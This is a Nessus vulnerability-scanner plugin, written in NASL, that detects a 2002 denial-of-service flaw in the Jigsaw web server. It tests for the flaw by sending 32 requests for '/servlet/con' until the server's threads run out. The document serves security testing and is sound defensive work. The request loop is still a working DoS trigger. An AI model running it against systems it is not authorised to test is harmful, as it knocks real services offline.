The version of Jigsaw web server running on the remote host has a denial of service vulnerability. It was possible to exhaust all of the web server’s available threads by requesting ‘/servlet/con’ about thirty times. A remote attacker could exploit this to repeatedly freeze the web server.
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# (C) Tenable Network Security, Inc.
#
# Script audit and contributions from Carmichael Security
# Erik Anderson <[email protected]> (nb: this domain no longer exists)
# Added BugtraqID and CAN
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include("compat.inc");
if(description)
{
script_id(11047);
script_version("1.26");
script_cve_id("CVE-2002-1052");
script_bugtraq_id(5258);
script_name(english:"Jigsaw Webserver MS/DOS Device Request Remote DoS");
script_summary(english:"Jigsaw DOS dev DoS");
script_set_attribute(
attribute:"synopsis",
value:"The remote web server has a denial of service vulnerability."
);
script_set_attribute( attribute:"description", value:
"The version of Jigsaw web server running on the remote host has a
denial of service vulnerability. It was possible to exhaust all of
the web server's available threads by requesting '/servlet/con' about
thirty times. A remote attacker could exploit this to repeatedly
freeze the web server." );
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2002/Jul/191"
);
script_set_attribute(
attribute:"solution",
value:"Upgrade to the latest version of this software."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2002/07/17");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/07/17");
script_cvs_date("Date: 2018/11/15 20:50:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Web Servers");
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_dependencie("find_service1.nasl", "os_fingerprint.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
os = get_kb_item("Host/OS");
if ( ! os || "Windows" >!< os ) exit(0);
port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(0);
banner = get_http_banner(port:port);
if (! banner || "Jigsaw" >!< banner ) exit(0);
url = '/servlet/con';
for (i=0; i<32;i=i+1)
{
res = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(res))
{
security_warning(port);
exit(0);
}
}
if(http_is_dead(port:port))security_warning(port);